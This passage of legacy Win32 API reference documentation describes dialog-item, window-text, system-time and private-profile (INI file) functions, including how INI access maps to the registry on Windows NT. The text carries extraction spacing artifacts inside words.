Poi nt s t o a Bool ean var i abl e t hat r ecei ves a f unct i on success/ f ai l ur e val ue.
TRUE i ndi cat es success, FALSE i ndi cat es f ai l ur e.

Thi s par amet er i s opt i onal : i t can be NULL. I n t hat case, t he f unct i on r et ur ns
no i nf or mat i on about success or f ai l ur e.

bSi gned

Speci f i es whet her t he f unct i on shoul d exami ne t he t ext f or a mi nus si gn at t he
begi nni ng and r et ur n a si gned i nt eger val ue i f i t f i nds one. TRUE speci f i es t hat
t hi s shoul d be done, FALSE t hat i t shoul d not .

Ret ur n Val ues

I f t he f unct i on succeeds, t he var i abl e poi nt ed t o by l pTr ansl at ed i s set t o
TRUE, and t he r et ur n val ue i s t he t r ansl at ed val ue of t he cont r ol t ext .

I f t he f unct i on f ai l s, t he var i abl e poi nt ed t o by l pTr ansl at ed i s set t o FALSE,
and t he r et ur n val ue i s zer o. Not e t hat , si nce zer o i s a possi bl e t r ansl at ed
val ue, a r et ur n val ue of zer o does not by i t sel f i ndi cat e f ai l ur e.

I f l pTr ansl at ed i s NULL, t he f unct i on r et ur ns no i nf or mat i on about success or
f ai l ur e.

I f t he bSi gned par amet er i s TRUE, speci f yi ng t hat t he val ue t o be r et r i eved i s a
si gned i nt eger val ue, cast t he r et ur n val ue t o an i nt t ype.

Remar ks

The Get Dl gI t emI nt f unct i on r et r i eves t he t ext of t he gi ven cont r ol by sendi ng
t he cont r ol a WM_GETTEXT message. The f unct i on t r ansl at es t he r et r i eved t ext by
st r i ppi ng any ext r a spaces at t he begi nni ng of t he t ext and t hen conver t i ng t he
deci mal di gi t s. The f unct i on st ops t r ansl at i ng when i t r eaches t he end of t he
t ext or encount er s a nonnumer i c char act er .


I f t he bSi gned par amet er i s TRUE, t he Get Dl gI t emI nt f unct i on checks f or a mi nus
si gn ( - ) at t he begi nni ng of t he t ext and t r ansl at es t he t ext i nt o a si gned
i nt eger val ue. Ot her wi se, t he f unct i on cr eat es an unsi gned i nt eger val ue.

The Get Dl gI t emI nt f unct i on r et ur ns zer o i f t he t r ansl at ed val ue i s gr eat er t han
I NT_MAX ( f or si gned number s) or UI NT_MAX ( f or unsi gned number s) .

See Al so

Get Dl gI t em

GetDlgItemText

The Get Dl gI t emText f unct i on r et r i eves t he t i t l e or t ext associ at ed wi t h a
cont r ol i n a di al og box.

UI NT Get Dl gI t emText (
HWND hDl g, / / handl e of di al og box
i nt nI DDl gI t em, / / i dent i f i er of cont r ol
LPTSTR l pSt r i ng, / / addr ess of buf f er f or t ext
i nt nMaxCount / / maxi mumsi ze of st r i ng
) ;

Par amet er s

hDl g

I dent i f i es t he di al og box t hat cont ai ns t he cont r ol .

nI DDl gI t em

Speci f i es t he i dent i f i er of t he cont r ol whose t i t l e or t ext i s t o be r et r i eved.

l pSt r i ng

Poi nt s t o t he buf f er t o r ecei ve t he t i t l e or t ext .

nMaxCount

Speci f i es t he maxi muml engt h, i n char act er s, of t he st r i ng t o be copi ed t o t he
buf f er poi nt ed t o by l pSt r i ng. I f t he l engt h of t he st r i ng exceeds t he l i mi t ,
t he st r i ng i s t r uncat ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue speci f i es t he number of char act er s
copi ed t o t he buf f er , not i ncl udi ng t he t er mi nat i ng nul l char act er .

I f t he f unct i on f ai l s, t he r et ur n val ue i s zer o.

Remar ks

The Get Dl gI t emText f unct i on sends a WM_GETTEXT message t o t he cont r ol .

See Al so

Get Dl gI t emI nt

GetLocalTime

The Get Local Ti me f unct i on r et r i eves t he cur r ent l ocal dat e and t i me.

VOI D Get Local Ti me(
LPSYSTEMTI ME l pSyst emTi me / / addr ess of syst emt i me st r uct ur e
) ;

Par amet er s

l pSyst emTi me

Poi nt s t o a SYSTEMTI ME st r uct ur e t o r ecei ve t he cur r ent l ocal dat e and t i me.

Ret ur n Val ues

Thi s f unct i on does not r et ur n a val ue.

See Al so

Get Syst emTi me

GetOpenFileName

The Get OpenFi l eName f unct i on cr eat es an Open common di al og box t hat l et s t he
user speci f y t he dr i ve, di r ect or y, and t he name of a f i l e or set of f i l es t o
open.

BOOL Get OpenFi l eName(
LPOPENFI LENAME l pof n / / addr ess of st r uct ur e wi t h i ni t i al i zat i on dat a
) ;

Par amet er s

l pof n

Poi nt er t o an OPENFI LENAME st r uct ur e t hat cont ai ns i nf or mat i on used t o
i ni t i al i ze t he di al og box. When Get OpenFi l eName r et ur ns, t hi s st r uct ur e cont ai ns
i nf or mat i on about t he user ' s f i l e sel ect i on.

Ret ur n Val ues

I f t he user speci f i es a f i l ename and cl i cks t he OK but t on, t he r et ur n val ue i s
nonzer o. The buf f er poi nt ed t o by t he l pst r Fi l e member of t he OPENFI LENAME
st r uct ur e cont ai ns t he f ul l pat h and f i l ename speci f i ed by t he user .

I f t he user cancel s or cl oses t he Open di al og box or an er r or occur s, t he r et ur n
val ue i s zer o. To get ext ended er r or i nf or mat i on, cal l t he CommDl gExt endedEr r or
f unct i on, whi ch can r et ur n one of t he f ol l owi ng val ues:

CDERR_FI NDRESFAI LURE
CDERR_NOHI NSTANCE
CDERR_I NI TI ALI ZATI ON
CDERR_NOHOOK
CDERR_LOCKRESFAI LURE
CDERR_NOTEMPLATE
CDERR_LOADRESFAI LURE
CDERR_STRUCTSI ZE
CDERR_LOADSTRFAI LURE
FNERR_BUFFERTOOSMALL
CDERR_MEMALLOCFAI LURE
FNERR_I NVALI DFI LENAME
CDERR_MEMLOCKFAI LURE
FNERR_SUBCLASSFAI LURE

Remar ks

By def aul t , Wi ndows 95 and Wi ndows NT ver si on 4. 0 di spl ay a new ver si on of t he
Open di al og box t hat pr ovi des user - i nt er f ace f eat ur es t hat ar e si mi l ar t o t he
Wi ndows Expl or er . You can pr ovi de an OFNHookPr oc hook pr ocedur e f or an Expl or er -
st yl e Open di al og box. To enabl e t he hook pr ocedur e, set t he OFN_EXPLORER and
OFN_ENABLEHOOK f l ags i n t he Fl ags member of t he OPENFI LENAME st r uct ur e and
speci f y t he addr ess of t he hook pr ocedur e i n t he l pf nHook member .
Wi ndows 95 and Wi ndows NT 4. 0 cont i nue t o suppor t t he ol d- st yl e Open di al og box
f or appl i cat i ons t hat want t o mai nt ai n a user - i nt er f ace consi st ent wi t h t he
Wi ndows 3. 1 or Wi ndows NT 3. 51 user - i nt er f ace. To di spl ay t he ol d- st yl e Open
di al og box, enabl e an OFNHookPr ocOl dSt yl e hook pr ocedur e and ensur e t hat t he
OFN_EXPLORER f l ag i s not set .
GetPrivateProfileInt

The Get Pr i vat ePr of i l eI nt f unct i on r et r i eves an i nt eger associ at ed wi t h a key i n
t he speci f i ed sect i on of t he gi ven i ni t i al i zat i on f i l e. Thi s f unct i on i s
pr ovi ded f or compat i bi l i t y wi t h 16- bi t Wi ndows- based appl i cat i ons. Wi n32- based
appl i cat i ons shoul d st or e i ni t i al i zat i on i nf or mat i on i n t he r egi st r y.

UI NT Get Pr i vat ePr of i l eI nt (
LPCTSTR l pAppName, / / addr ess of sect i on name
LPCTSTR l pKeyName, / / addr ess of key name
I NT nDef aul t , / / r et ur n val ue i f key name i s not f ound

LPCTSTR l pFi l eName / / addr ess of i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng cont ai ni ng t he sect i on name i n t he
i ni t i al i zat i on f i l e.

l pKeyName

Poi nt s t o t he nul l - t er mi nat ed st r i ng cont ai ni ng t he key name whose val ue i s t o
be r et r i eved. Thi s val ue i s i n t he f or mof a st r i ng; t he Get Pr i vat ePr of i l eI nt
f unct i on conver t s t he st r i ng i nt o an i nt eger and r et ur ns t he i nt eger .

nDef aul t

Speci f i es t he def aul t val ue t o r et ur n i f t he key name cannot be f ound i n t he
i ni t i al i zat i on f i l e.


l pFi l eName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e. I f t hi s
par amet er does not cont ai n a f ul l pat h t o t he f i l e, Wi ndows sear ches f or t he
f i l e i n t he Wi ndows di r ect or y.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he i nt eger equi val ent of t he
st r i ng f ol l owi ng t he speci f i ed key name i n t he speci f i ed i ni t i al i zat i on f i l e. I f
t he key i s not f ound, t he r et ur n val ue i s t he speci f i ed def aul t val ue. I f t he
val ue of t he key i s l ess t han zer o, t he r et ur n val ue i s zer o.

Remar ks

The f unct i on sear ches t he f i l e f or a key t hat mat ches t he name speci f i ed by t he
l pKeyName par amet er under t he sect i on name speci f i ed by t he l pAppName par amet er .
A sect i on i n t he i ni t i al i zat i on f i l e must have t he f ol l owi ng f or m:

[ sect i on]
key=val ue
.
.
.
The Get Pr i vat ePr of i l eI nt f unct i on i s not case- sensi t i ve; t he st r i ngs i n
l pAppName and l pKeyName can be a combi nat i on of upper case and l ower case l et t er s.

An appl i cat i on can use t he Get Pr of i l eI nt f unct i on t o r et r i eve an i nt eger val ue
f r omt he WI N. I NI f i l e.


Wi ndows NT:

Cal l s t o pr i vat e pr of i l e f unct i ons may be mapped t o t he r egi st r y i nst ead of t o
t he speci f i ed i ni t i al i zat i on f i l es. Thi s mappi ng occur s when t he i ni t i al i zat i on
f i l e and sect i on ar e speci f i ed i n t he r egi st r y under t he f ol l owi ng keys:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Thi s mappi ng i s l i kel y i f an appl i cat i on modi f i es syst em- component
i ni t i al i zat i on f i l es, such as CONTROL. I NI , SYSTEM. I NI , and WI NFI LE. I NI . I n t hese
cases, t he Get Pr i vat ePr of i l eI nt f unct i on r et r i eves i nf or mat i on f r omt he
r egi st r y, not f r omt he i ni t i al i zat i on f i l e; t he change i n t he st or age l ocat i on
has no ef f ect on t he f unct i on' s behavi or .


The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:

1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .


3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.

4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.


5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.

6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.

@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

See Al so

Get Pr of i l eI nt

GetPrivateProfileString

The Get Pr i vat ePr of i l eSt r i ng f unct i on r et r i eves a st r i ng f r omt he speci f i ed
sect i on i n an i ni t i al i zat i on f i l e. Thi s f unct i on i s pr ovi ded f or compat i bi l i t y
wi t h 16- bi t Wi ndows- based appl i cat i ons. Wi n32- based appl i cat i ons shoul d st or e
i ni t i al i zat i on i nf or mat i on i n t he r egi st r y.

DWORD Get Pr i vat ePr of i l eSt r i ng(
LPCTSTR l pAppName, / / poi nt s t o sect i on name
LPCTSTR l pKeyName, / / poi nt s t o key name
LPCTSTR l pDef aul t , / / poi nt s t o def aul t st r i ng

LPTSTR l pRet ur nedSt r i ng, / / poi nt s t o dest i nat i on buf f er
DWORD nSi ze, / / si ze of dest i nat i on buf f er
LPCTSTR l pFi l eName / / poi nt s t o i ni t i al i zat i on f i l ename
) ;

Par amet er s

l pAppName

Poi nt s t o a nul l - t er mi nat ed st r i ng t hat speci f i es t he sect i on cont ai ni ng t he key
name. I f t hi s par amet er i s NULL, t he Get Pr i vat ePr of i l eSt r i ng f unct i on copi es al l
sect i on names i n t he f i l e t o t he suppl i ed buf f er .

l pKeyName

Poi nt er t o t he nul l - t er mi nat ed st r i ng cont ai ni ng t he key name whose associ at ed
st r i ng i s t o be r et r i eved. I f t hi s par amet er i s NULL, al l key names i n t he
sect i on speci f i ed by t he l pAppName par amet er ar e copi ed t o t he buf f er speci f i ed
by t he l pRet ur nedSt r i ng par amet er .

l pDef aul t

Poi nt er t o a nul l - t er mi nat ed def aul t st r i ng. I f t he l pKeyName key cannot be
f ound i n t he i ni t i al i zat i on f i l e, Get Pr i vat ePr of i l eSt r i ng copi es t he def aul t
st r i ng t o t he l pRet ur nedSt r i ng buf f er . Thi s par amet er cannot be NULL.

Avoi d speci f yi ng a def aul t st r i ng wi t h t r ai l i ng bl ank char act er s. The f unct i on
i nser t s a nul l char act er i n t he l pRet ur nedSt r i ng buf f er t o st r i p any t r ai l i ng
bl anks.
Wi ndows 95: Al t hough l pDef aul t i s decl ar ed as a const ant par amet er , Wi ndows 95
st r i ps any t r ai l i ng bl anks by i nser t i ng a nul l char act er i nt o t he l pDef aul t
st r i ng bef or e copyi ng i t t o t he l pRet ur nedSt r i ng buf f er .


Wi ndows NT: Wi ndows NT does not modi f y t he l pDef aul t st r i ng. Thi s means t hat i f
t he def aul t st r i ng cont ai ns t r ai l i ng bl anks, t he l pRet ur nedSt r i ng and l pDef aul t
st r i ngs wi l l not mat ch when compar ed usi ng t he l st r cmp f unct i on.

l pRet ur nedSt r i ng

Poi nt er t o t he buf f er t hat r ecei ves t he r et r i eved st r i ng.

nSi ze

Speci f i es t he si ze, i n char act er s, of t he buf f er poi nt ed t o by t he
l pRet ur nedSt r i ng par amet er .

l pFi l eName

Poi nt er t o a nul l - t er mi nat ed st r i ng t hat names t he i ni t i al i zat i on f i l e. I f t hi s
par amet er does not cont ai n a f ul l pat h t o t he f i l e, Wi ndows sear ches f or t he
f i l e i n t he Wi ndows di r ect or y.


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he number of char act er s copi ed t o
t he buf f er , not i ncl udi ng t he t er mi nat i ng nul l char act er .

I f nei t her l pAppName nor l pKeyName i s NULL and t he suppl i ed dest i nat i on buf f er
i s t oo smal l t o hol d t he r equest ed st r i ng, t he st r i ng i s t r uncat ed and f ol l owed
by a nul l char act er , and t he r et ur n val ue i s equal t o nSi ze mi nus one.

I f ei t her l pAppName or l pKeyName i s NULL and t he suppl i ed dest i nat i on buf f er i s
t oo smal l t o hol d al l t he st r i ngs, t he l ast st r i ng i s t r uncat ed and f ol l owed by
t wo nul l char act er s. I n t hi s case, t he r et ur n val ue i s equal t o nSi ze mi nus t wo.

Remar ks

The Get Pr i vat ePr of i l eSt r i ng f unct i on sear ches t he speci f i ed i ni t i al i zat i on f i l e
f or a key t hat mat ches t he name speci f i ed by t he l pKeyName par amet er under t he
sect i on headi ng speci f i ed by t he l pAppName par amet er . I f i t f i nds t he key, t he
f unct i on copi es t he cor r espondi ng st r i ng t o t he buf f er . I f t he key does not
exi st , t he f unct i on copi es t he def aul t char act er st r i ng speci f i ed by t he
l pDef aul t par amet er . A sect i on i n t he i ni t i al i zat i on f i l e must have t he
f ol l owi ng f or m:


[ sect i on]
key=st r i ng
.
.
.

I f l pAppName i s NULL, Get Pr i vat ePr of i l eSt r i ng copi es al l sect i on names i n t he
speci f i ed f i l e t o t he suppl i ed buf f er . I f l pKeyName i s NULL, t he f unct i on copi es
al l key names i n t he speci f i ed sect i on t o t he suppl i ed buf f er . An appl i cat i on
can use t hi s met hod t o enumer at e al l of t he sect i ons and keys i n a f i l e. I n
ei t her case, each st r i ng i s f ol l owed by a nul l char act er and t he f i nal st r i ng i s
f ol l owed by a second nul l char act er . I f t he suppl i ed dest i nat i on buf f er i s t oo
smal l t o hol d al l t he st r i ngs, t he l ast st r i ng i s t r uncat ed and f ol l owed by t wo
nul l char act er s.

I f t he st r i ng associ at ed wi t h l pKeyName i s encl osed i n si ngl e or doubl e
quot at i on mar ks, t he mar ks ar e di scar ded when t he Get Pr i vat ePr of i l eSt r i ng
f unct i on r et r i eves t he st r i ng.

The Get Pr i vat ePr of i l eSt r i ng f unct i on i s not case- sensi t i ve; t he st r i ngs can be a
combi nat i on of upper case and l ower case l et t er s.

To r et r i eve a st r i ng f r omt he WI N. I NI f i l e, use t he Get Pr of i l eSt r i ng f unct i on.

Wi ndows NT:

Cal l s t o pr i vat e pr of i l e f unct i ons may be mapped t o t he r egi st r y i nst ead of t o
t he speci f i ed i ni t i al i zat i on f i l es. Thi s mappi ng occur s when t he i ni t i al i zat i on
f i l e and sect i on ar e speci f i ed i n t he r egi st r y under t he f ol l owi ng keys:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng

Thi s mappi ng i s l i kel y i f an appl i cat i on modi f i es syst em- component
i ni t i al i zat i on f i l es, such as CONTROL. I NI , SYSTEM. I NI , and WI NFI LE. I NI . I n t hese
cases, t he Get Pr i vat ePr of i l eSt r i ng f unct i on r et r i eves i nf or mat i on f r omt he
r egi st r y, not f r omt he i ni t i al i zat i on f i l e; t he change i n t he st or age l ocat i on
has no ef f ect on t he f unct i on' s behavi or .

The Wi n32 Pr of i l e f unct i ons ( Get / Wr i t ePr of i l e*, Get / Wr i t ePr i vat ePr of i l e*) use
t he f ol l owi ng st eps t o l ocat e i ni t i al i zat i on i nf or mat i on:


1. Look i n t he r egi st r y f or t he name of t he i ni t i al i zat i on f i l e, say myf i l e. i ni ,
under I ni Fi l eMappi ng:

HKEY_LOCAL_MACHI NE\ Sof t war e\ Mi cr osof t \
Wi ndows NT\ Cur r ent Ver si on\ I ni Fi l eMappi ng\ myf i l e. i ni

2. Look f or t he sect i on name speci f i ed by l pAppName. Thi s wi l l be a named val ue
under myf i l e. i ni , or a subkey of myf i l e. i ni , or wi l l not exi st .

3. I f t he sect i on name speci f i ed by l pAppName i s a named val ue under myf i l e. i ni ,
t hen t hat val ue speci f i es wher e i n t he r egi st r y you wi l l f i nd t he keys f or t he
sect i on.


4. I f t he sect i on name speci f i ed by l pAppName i s a subkey of myf i l e. i ni , t hen
named val ues under t hat subkey speci f y wher e i n t he r egi st r y you wi l l f i nd t he
keys f or t he sect i on. I f t he key you ar e l ooki ng f or does not exi st as a named
val ue, t hen t her e wi l l be an unnamed val ue ( shown as " <No Name>" ) t hat speci f i es
t he def aul t l ocat i on i n t he r egi st r y wher e you wi l l f i nd t he key.

5. I f t he sect i on name speci f i ed by l pAppName does not exi st as a named val ue or
as a subkey under myf i l e. i ni , t hen t her e wi l l be an unnamed val ue ( shown as " <No
Name>" ) under myf i l e. i ni t hat speci f i es t he def aul t l ocat i on i n t he r egi st r y
wher e you wi l l f i nd t he keys f or t he sect i on.


6. I f t her e i s no subkey f or myf i l e. i ni , or i f t her e i s no ent r y f or t he sect i on
name, t hen l ook f or t he act ual myf i l e. i ni on t he di sk and r ead i t s cont ent s.

When l ooki ng at val ues i n t he r egi st r y t hat speci f y ot her r egi st r y l ocat i ons,
t her e ar e sever al pr ef i xes t hat change t he behavi or of t he i ni f i l e mappi ng:

! - t hi s char act er f or ces al l wr i t es t o go bot h t o t he r egi st r y and t o t he . I NI
f i l e on di sk.

# - t hi s char act er causes t he r egi st r y val ue t o be set t o t he val ue i n t he
Wi ndows 3. 1 . I NI f i l e when a new user l ogs i n f or t he f i r st t i me af t er set up.


@- t hi s char act er pr event s any r eads f r omgoi ng t o t he . I NI f i l e on di sk i f t he
r equest ed dat a i s not f ound i n t he r egi st r y.

USR: - t hi s pr ef i x st ands f or HKEY_CURRENT_USER, and t he t ext af t er t he pr ef i x
i s r el at i ve t o t hat key.

SYS: - t hi s pr ef i x st ands f or HKEY_LOCAL_MACHI NE\ SOFTWARE, and t he t ext af t er
t he pr ef i x i s r el at i ve t o t hat key.

See Al so

Get Pr of i l eSi nt


Get Syst emTi me

The Get Syst emTi me f unct i on r et r i eves t he cur r ent syst emdat e and t i me. The
syst emt i me i s expr essed i n Coor di nat ed Uni ver sal Ti me ( UTC) .

VOI D Get Syst emTi me(
LPSYSTEMTI ME l pSyst emTi me / / addr ess of syst emt i me st r uct ur e
) ;

Par amet er s

l pSyst emTi me

Poi nt s t o a SYSTEMTI ME st r uct ur e t o r ecei ve t he cur r ent syst emdat e and t i me.

Ret ur n Val ues

Thi s f unct i on does not r et ur n a val ue.

See Al so

Get Local Ti me, Get Syst emTi meAdj ust ment , Set Syst emTi me, SYSTEMTI ME
GetSystemTimeAsFileTime

The Get Syst emTi meAsFi l eTi me f unct i on obt ai ns t he cur r ent syst emdat e and t i me.
The i nf or mat i on i s i n Coor di nat ed Uni ver sal Ti me ( UTC) f or mat .

VOI D Get Syst emTi meAsFi l eTi me(
LPFI LETI ME l pSyst emTi meAsFi l eTi me / / poi nt er t o a f i l e t i me st r uct ur e
) ;

Par amet er s

l pSyst emTi meAsFi l eTi me

Poi nt er t o a FI LETI ME st r uct ur e t o r ecei ve t he cur r ent syst emdat e and t i me i n
UTC f or mat .

Ret ur n Val ues

Thi s f unct i on does not r et ur n a val ue.

Remar ks

The Get Syst emTi meAsFi l eTi me f unct i on i s equi val ent t o t he f ol l owi ng code
sequence:

FI LETI ME f t ;
SYSTEMTI ME st ;

Get Syst emTi me( &st ) ;
Syst emTi meToFi l eTi me( &st , &f t ) ;

See Al so

FI LETI ME, Get Syst emTi me, SYSTEMTI ME, Syst emTi meToFi l eTi me

GetWindowLong

The Get Wi ndowLong f unct i on r et r i eves i nf or mat i on about t he speci f i ed wi ndow. The
f unct i on al so r et r i eves t he 32- bi t ( l ong) val ue at t he speci f i ed of f set i nt o t he
ext r a wi ndow memor y of a wi ndow.

LONG Get Wi ndowLong(
HWND hWnd, / / handl e of wi ndow
i nt nI ndex / / of f set of val ue t o r et r i eve
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow and, i ndi r ect l y, t he cl ass t o whi ch t he wi ndow bel ongs.

nI ndex

Speci f i es t he zer o- based of f set t o t he val ue t o be r et r i eved. Val i d val ues ar e
i n t he r ange zer o t hr ough t he number of byt es of ext r a wi ndow memor y, mi nus
f our ; f or exampl e, i f you speci f i ed 12 or mor e byt es of ext r a memor y, a val ue of
8 woul d be an i ndex t o t he t hi r d 32- bi t i nt eger . To r et r i eve any ot her val ue,
speci f y one of t he f ol l owi ng val ues:


GWL_EXSTYLE
Ret r i eves t he ext ended wi ndow st yl es.

GWL_STYLE
Ret r i eves t he wi ndow st yl es.

GWL_WNDPROC
Ret r i eves t he addr ess of t he wi ndow pr ocedur e, or a handl e r epr esent i ng t he
addr ess of t he wi ndow pr ocedur e. You must use t he Cal l Wi ndowPr oc f unct i on t o
cal l t he wi ndow pr ocedur e.

GWL_HI NSTANCE
Ret r i eves t he handl e of t he appl i cat i on i nst ance.

GWL_HWNDPARENT
Ret r i eves t he handl e of t he par ent wi ndow, i f any.


GWL_I D
Ret r i eves t he i dent i f i er of t he wi ndow.

GWL_USERDATA
Ret r i eves t he 32- bi t val ue associ at ed wi t h t he wi ndow. Each wi ndow has a
cor r espondi ng 32- bi t val ue i nt ended f or use by t he appl i cat i on t hat cr eat ed t he
wi ndow.

The f ol l owi ng val ues ar e al so avai l abl e when t he hWnd par amet er i dent i f i es a
di al og box:

DWL_DLGPROC
Ret r i eves t he addr ess of t he di al og box pr ocedur e, or a handl e r epr esent i ng t he
addr ess of t he di al og box pr ocedur e. You must use t he Cal l Wi ndowPr oc f unct i on t o
cal l t he di al og box pr ocedur e.


DWL_MSGRESULT
Ret r i eves t he r et ur n val ue of a message pr ocessed i n t he di al og box pr ocedur e.

DWL_USER
Ret r i eves ext r a i nf or mat i on pr i vat e t o t he appl i cat i on, such as handl es or
poi nt er s.


Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he r equest ed 32- bi t val ue.

I f t he f unct i on f ai l s, t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Reser ve ext r a wi ndow memor y by speci f yi ng a nonzer o val ue i n t he cbWndExt r a
member of t he WNDCLASS st r uct ur e used wi t h t he Regi st er Cl ass f unct i on.


See Al so

Cal l Wi ndowPr oc, Get Wi ndowWor d, Regi st er Cl ass, Set Par ent

GetWindowText

The Get Wi ndowText f unct i on copi es t he t ext of t he speci f i ed wi ndow' s t i t l e bar
( i f i t has one) i nt o a buf f er . I f t he speci f i ed wi ndow i s a cont r ol , t he t ext of
t he cont r ol i s copi ed.

i nt Get Wi ndowText (
HWND hWnd, / / handl e of wi ndow or cont r ol wi t h t ext
LPTSTR l pSt r i ng, / / addr ess of buf f er f or t ext
i nt nMaxCount / / maxi mumnumber of char act er s t o copy
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow or cont r ol cont ai ni ng t he t ext .


l pSt r i ng

Poi nt s t o t he buf f er t hat wi l l r ecei ve t he t ext .

nMaxCount

Speci f i es t he maxi mumnumber of char act er s t o copy t o t he buf f er , i ncl udi ng t he
NULL char act er . I f t he t ext exceeds t hi s l i mi t , i t i s t r uncat ed.

Ret ur n Val ues

I f t he f unct i on succeeds, t he r et ur n val ue i s t he l engt h, i n char act er s, of t he
copi ed st r i ng, not i ncl udi ng t he t er mi nat i ng nul l char act er . I f t he wi ndow has
no t i t l e bar or t ext , i f t he t i t l e bar i s empt y, or i f t he wi ndow or cont r ol
handl e i s i nval i d, t he r et ur n val ue i s zer o. To get ext ended er r or i nf or mat i on,
cal l Get Last Er r or .


Thi s f unct i on cannot r et r i eve t he t ext of an edi t cont r ol i n anot her
appl i cat i on.

Remar ks

Thi s f unct i on causes a WM_GETTEXT message t o be sent t o t he speci f i ed wi ndow or
cont r ol .

Thi s f unct i on cannot r et r i eve t he t ext of an edi t cont r ol i n anot her
appl i cat i on.

See Al so

Get Wi ndowText Lengt h

GetWindowTextLength

The Get Wi ndowText Lengt h f unct i on r et r i eves t he l engt h, i n char act er s, of t he
speci f i ed wi ndow' s t i t l e bar t ext ( i f t he wi ndow has a t i t l e bar ) . I f t he
speci f i ed wi ndow i s a cont r ol , t he f unct i on r et r i eves t he l engt h of t he t ext
wi t hi n t he cont r ol .

i nt Get Wi ndowText Lengt h(
HWND hWnd / / handl e of wi ndow or cont r ol wi t h t ext
) ;

Par amet er s

hWnd

I dent i f i es t he wi ndow or cont r ol .

Ret ur n Val ues


I f t he f unct i on succeeds, t he r et ur n val ue i s t he l engt h, i n char act er s, of t he
t ext . Under cer t ai n condi t i ons, t hi s val ue may act ual l y be gr eat er t han t he
l engt h of t he t ext . For mor e i nf or mat i on, see t he f ol l owi ng Remar ks sect i on.

I f t he wi ndow has no t ext , t he r et ur n val ue i s zer o. To get ext ended er r or
i nf or mat i on, cal l Get Last Er r or .

Remar ks

Thi s f unct i on causes a WM_GETTEXTLENGTH message t o be sent t o t he speci f i ed
wi ndow or cont r ol .

Under cer t ai n condi t i ons, t he Get Wi ndowText Lengt h f unct i on may r et ur n a val ue
t hat i s l ar ger t han t he act ual l engt h of t he t ext . Thi s occur s wi t h cer t ai n
mi xt ur es of ANSI and Uni code, and i s due t o t he oper at i ng syst emal l owi ng f or
t he possi bl e exi st ence of DBCS char act er s wi t hi n t he t ext . The r et ur n val ue,
however , wi l l al ways be at l east as l ar ge as t he act ual l engt h of t he t ext ; you
can t hus al ways use i t t o gui de buf f er al l ocat i on. Thi s behavi or can occur when
an appl i cat i on uses bot h ANSI f unct i ons and common di al ogs, whi ch use Uni code.
I t can al so occur when an appl i cat i on uses t he ANSI f l avor of
Get Wi ndowText Lengt h wi t h a wi ndow whose wi ndow pr ocedur e i s Uni code, or t he
Uni code f l avor wi t h a wi ndow whose wi ndow pr ocedur e i s ANSI .


To obt ai n t he exact l engt h of t he t ext , use t he WM_GETTEXT, LB_GETTEXT, or
CB_GETLBTEXT messages, or t he Get Wi ndowText f unct i on.

See Al so

CB_GETLBTEXT, Get Wi ndowText , LB_GETTEXT, Set Wi ndowText


CharUpper

The Char Upper f unct i on conver t s a char act er st r i ng or a si ngl e char act er t o
upper case. I f t he oper and i s a char act er st r i ng, t he f unct i on conver t s t he
